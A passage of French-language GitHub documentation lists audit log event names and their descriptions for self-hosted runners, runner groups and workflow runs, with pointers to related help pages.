org.runner_group_updatedDéclenchée lorsque la configuration d’un groupe d’exécuteurs auto-hébergés est modifiée. Pour plus d’informations, consultez « Modification de la stratégie d’accès d’un groupe d’exécuteurs auto-hébergés ».
org.self_hosted_runner_onlineDéclenchée lorsque l’application de l’exécuteur est démarrée. Visible uniquement à l’aide de l’API REST ; non visible dans l’interface utilisateur ni l’exportation JSON/CSV. Pour plus d’informations, consultez « Vérification de l’état d’un exécuteur auto-hébergé ».
org.self_hosted_runner_offlineDéclenchée lorsque l’application de l’exécuteur est arrêtée. Visible uniquement à l’aide de l’API REST ; non visible dans l’interface utilisateur ni l’exportation JSON/CSV. Pour plus d’informations, consultez « Vérification de l’état d’un exécuteur auto-hébergé ».
org.self_hosted_runner_updatedDéclenchée lorsque l’application de l’exécuteur est mise à jour. Visible à l’aide de l’API REST et de l’interface utilisateur ; non visible dans l’exportation JSON/CSV. Pour plus d’informations, consultez « About self-hosted runners ».
repo.register_self_hosted_runnerDéclenchée lorsqu’un nouvel exécuteur auto-hébergé est inscrit. Pour plus d’informations, consultez « Ajout d’un exécuteur auto-hébergé à un dépôt ».
repo.remove_self_hosted_runnerDéclenchée lorsqu’un exécuteur auto-hébergé est supprimé. Pour plus d’informations, consultez « Suppression d’un exécuteur d’un dépôt ».
repo.self_hosted_runner_onlineDéclenchée lorsque l’application de l’exécuteur est démarrée. Visible uniquement à l’aide de l’API REST ; non visible dans l’interface utilisateur ni l’exportation JSON/CSV. Pour plus d’informations, consultez « Vérification de l’état d’un exécuteur auto-hébergé ».
repo.self_hosted_runner_offlineDéclenchée lorsque l’application de l’exécuteur est arrêtée. Visible uniquement à l’aide de l’API REST ; non visible dans l’interface utilisateur ni l’exportation JSON/CSV. Pour plus d’informations, consultez « Vérification de l’état d’un exécuteur auto-hébergé ».
repo.self_hosted_runner_updatedDéclenchée lorsque l’application de l’exécuteur est mise à jour. Visible à l’aide de l’API REST et de l’interface utilisateur ; non visible dans l’exportation JSON/CSV. Pour plus d’informations, consultez « About self-hosted runners ».

Événements pour les groupes d’exécuteurs auto-hébergés

ActionDescription
enterprise.runner_group_createdDéclenchée lorsqu’un groupe d’exécuteurs auto-hébergés est créé. Pour plus d’informations, consultez « Création d’un groupe d’exécuteurs auto-hébergés pour une entreprise ».
enterprise.runner_group_removedDéclenchée lorsqu’un groupe d’exécuteurs auto-hébergés est supprimé. Pour plus d’informations, consultez « Suppression d’un groupe d’exécuteurs auto-hébergés ».
enterprise.runner_group_runner_removedDéclenchée lorsque l’API REST est utilisée pour supprimer un exécuteur auto-hébergé d’un groupe.
enterprise.runner_group_runners_addedDéclenchée lorsqu’un exécuteur auto-hébergé est ajouté à un groupe. Pour plus d’informations, consultez « Déplacement d’un exécuteur auto-hébergé vers un groupe ».
enterprise.runner_group_updatedDéclenchée lorsque la configuration d’un groupe d’exécuteurs auto-hébergés est modifiée. Pour plus d’informations, consultez « Modification de la stratégie d’accès d’un groupe d’exécuteurs auto-hébergés ».
org.runner_group_createdDéclenchée lorsqu’un groupe d’exécuteurs auto-hébergés est créé. Pour plus d’informations, consultez « Création d’un groupe d’exécuteurs auto-hébergés pour une organisation ».
org.runner_group_removedDéclenchée lorsqu’un groupe d’exécuteurs auto-hébergés est supprimé. Pour plus d’informations, consultez « Suppression d’un groupe d’exécuteurs auto-hébergés ».
org.runner_group_updatedDéclenchée lorsque la configuration d’un groupe d’exécuteurs auto-hébergés est modifiée. Pour plus d’informations, consultez « Modification de la stratégie d’accès d’un groupe d’exécuteurs auto-hébergés ».
org.runner_group_runners_addedDéclenchée lorsqu’un exécuteur auto-hébergé est ajouté à un groupe. Pour plus d’informations, consultez « Déplacement d’un exécuteur auto-hébergé vers un groupe ».
org.runner_group_runner_removedDéclenchée lorsque l’API REST est utilisée pour supprimer un exécuteur auto-hébergé d’un groupe. Pour plus d’informations, consultez « Supprimer un exécuteur auto-hébergé d’un groupe pour une organisation ».

Événements pour les activités de workflow

ActionDescription
cancel_workflow_runDéclenchée lorsqu’une exécution de workflow a été annulée. Pour plus d’informations, consultez « Annulation d’un workflow ».
completed_workflow_runDéclenchée lorsqu’un état de workflow passe à completed. Visible uniquement à l’aide de l’API REST. Non visible dans l’IU ou l’exportation JSON/CSV. Pour plus d’informations, consultez « Affichage de l’historique des exécutions de workflows ».
created_workflow_runDéclenchée lors de la création d’une exécution de workflow. Visible uniquement à l’aide de l’API REST. Non visible dans l’IU ou l’exportation JSON/CSV. Pour plus d’informations, consultez « Créer un exemple de workflow ».
delete_workflow_runDéclenchée lorsqu’une exécution de workflow est supprimée. Pour plus d’informations, consultez « Suppression d’une exécution de workflow ».
disable_workflowDéclenchée lorsqu’un workflow est désactivé.
enable_workflowDéclenchée lorsqu’un workflow est activé après avoir été désactivé par disable_workflow.
rerun_workflow_runDéclenchée lorsqu’une exécution de workflow est réexécutée. Pour plus d’informations, consultez « Réexécution d’un workflow ».
prepared_workflow_jobDéclenchée lorsqu’un travail de workflow est démarré. Inclut la liste des secrets fournis au travail. Visible uniquement à l’aide de l’API REST. Non visible dans l’interface web de GitHub ni inclus dans l’exportation JSON/CSV. Pour plus d’informations, consultez « Événements qui déclenchent des workflows ».
approve_workflow_jobDéclenchée lorsqu’un travail de workflow a été approuvé. Pour plus d’informations, consultez « Révision des déploiements ».
reject_workflow_jobDéclenchée lorsqu’un travail de workflow a été rejeté. Pour plus d’informations, consultez « Révision des déploiements ».